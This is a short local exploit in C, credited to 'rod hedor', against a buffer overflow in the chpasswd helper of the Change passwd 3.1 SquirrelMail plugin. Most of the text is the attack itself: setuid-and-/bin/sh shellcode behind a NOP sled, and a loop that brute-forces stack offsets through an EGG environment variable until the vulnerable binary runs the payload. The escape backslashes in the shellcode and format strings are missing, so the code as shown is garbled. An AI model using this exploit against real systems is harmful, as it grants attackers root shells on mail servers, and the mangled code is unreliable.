Change passwd 3.1 (SquirrelMail plugin )
Coded by rod hedor
web-- http://lezr.com
[local exploit]
* Multiple
buffer overflows are present in the handling of command line
arguements in chpasswd.
The bug allows a
hacker to exploit the process to run arbitrary code.
#include <stdio.h>
#include <stdlib.h>
const char shellcode[]="x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90"
"x31xc0xb0x17x31xdbxcdx80"
"x89xe5x31xc0x50x55x89xe5"
"x50x68x6ex2fx73x68x68x2f"
"x2fx62x69x89xe3x89xe9x89"
"xeaxb0x0bxcdx80";
long get_sp(){
__asm__("movl %esp,%eax;");
};
int main(){
char buffer[1024];
long stack = get_sp();
int result = 1;
long offset = 0;
printf ("[!] Change_passwd v3.1(SquirrelMail plugin) exploitn");
printf ("[+] Current stack [0x%x]n",stack);
while(offset <= 268435456){
offset = offset + 1;
stack = get_sp() + offset;
memcpy(&buffer,"EGG=",4);
int a = 4;
while(a <= 108){
memcpy(&buffer[a],"x",1);
a = a + 1;}
memcpy(&buffer[108],&stack,4);
memcpy(&buffer[112],&shellcode,sizeof(shellcode));
putenv(buffer);
result = system("./chpasswd $EGG");
if(result == 0){exit(0);};
};
};
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